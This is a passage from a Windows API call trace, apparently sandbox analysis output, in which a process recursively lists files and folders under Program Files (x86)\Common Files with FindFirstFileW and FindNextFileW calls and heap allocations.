shared\\VSTO\\10.0\\1033\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5279f530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0247.316] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5279f530, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd504b000, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.316] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5024ea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2760, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstallerUI.dll", cAlternateFileName="VSTOIN~1.DLL")) returned 1 [0247.316] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5071160, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0247.316] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd5071160, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0247.316] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0247.317] GetProcessHeap () returned 0x550000 [0247.317] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0247.317] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1336200, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x274de510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1336200, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1 [0247.317] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x15558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0247.317] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d73d80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x40d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0247.317] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd576f200, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbf68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0247.317] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd576f200, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbf68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0247.317] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0247.318] GetProcessHeap () returned 0x550000 [0247.318] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0247.319] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0a6ab00, ftCreationTime.dwHighDateTime=0x1cacb2a, ftLastAccessTime.dwLowDateTime=0x5e9eb8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0a6ab00, ftLastWriteTime.dwHighDateTime=0x1cacb2a, nFileSizeHigh=0x0, nFileSizeLow=0x87, dwReserved0=0x0, dwReserved1=0x0, cFileName="ActionsPane3.xsd", cAlternateFileName="ACTION~1.XSD")) returned 1 [0247.319] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d01960, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x1e948, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0247.319] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x3d50, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb", cAlternateFileName="VSTOEE~1.TLB")) returned 1 [0247.319] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5150, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 1 [0247.319] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5150, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb", cAlternateFileName="")) returned 0 [0247.319] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0247.320] GetProcessHeap () returned 0x550000 [0247.320] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0247.320] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0247.320] GetProcessHeap () returned 0x550000 [0247.320] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0247.320] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0247.330] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.330] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0247.330] GetProcessHeap () returned 0x550000 [0247.330] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6165c8 [0247.330] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0247.330] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.330] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xad0454c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad0454c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0247.330] GetProcessHeap () returned 0x550000 [0247.331] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x25e0088 [0247.332] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xad0454c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad0454c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0247.392] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xad0454c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad0454c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.392] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e690a00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e690a00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x193378, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0247.392] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x285ff900, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xad06b620, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x285ff900, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0xf0390, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0247.392] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x285ff900, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xad06b620, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x285ff900, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0xf0390, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0247.392] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0247.393] GetProcessHeap () returned 0x550000 [0247.393] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0247.393] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xad0454c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad0454c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0247.393] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0247.393] GetProcessHeap () returned 0x550000 [0247.393] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6165c8 | out: hHeap=0x550000) returned 1 [0247.405] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0247.405] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0247.405] GetProcessHeap () returned 0x550000 [0247.405] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0247.406] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21a6a110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21a6a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21a6a110, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0247.406] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0247.406] GetProcessHeap () returned 0x550000 [0247.406] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0247.406] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0247.406] GetProcessHeap () returned 0x550000 [0247.406] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0247.406] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\Services\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0247.443] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.443] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x892529fc, ftCreationTime.dwHighDateTime=0x1c9ea12, ftLastAccessTime.dwLowDateTime=0x892529fc, ftLastAccessTime.dwHighDateTime=0x1c9ea12, ftLastWriteTime.dwLowDateTime=0x892529fc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0247.443] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x892529fc, ftCreationTime.dwHighDateTime=0x1c9ea12, ftLastAccessTime.dwLowDateTime=0x892529fc, ftLastAccessTime.dwHighDateTime=0x1c9ea12, ftLastWriteTime.dwLowDateTime=0x892529fc, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0247.443] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0247.461] GetProcessHeap () returned 0x550000 [0247.461] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0247.461] FindNextFileW (in: hFindFile=0x639708, lpFindFileData=0x2cef020 | out: lpFindFileData=0x2cef020*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0247.461] GetProcessHeap () returned 0x550000 [0247.461] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5f65b8 [0247.461] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\SpeechEngines\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0247.461] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.461] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0247.461] GetProcessHeap () returned 0x550000 [0247.462] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0247.462] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0247.462] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0247.462] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, 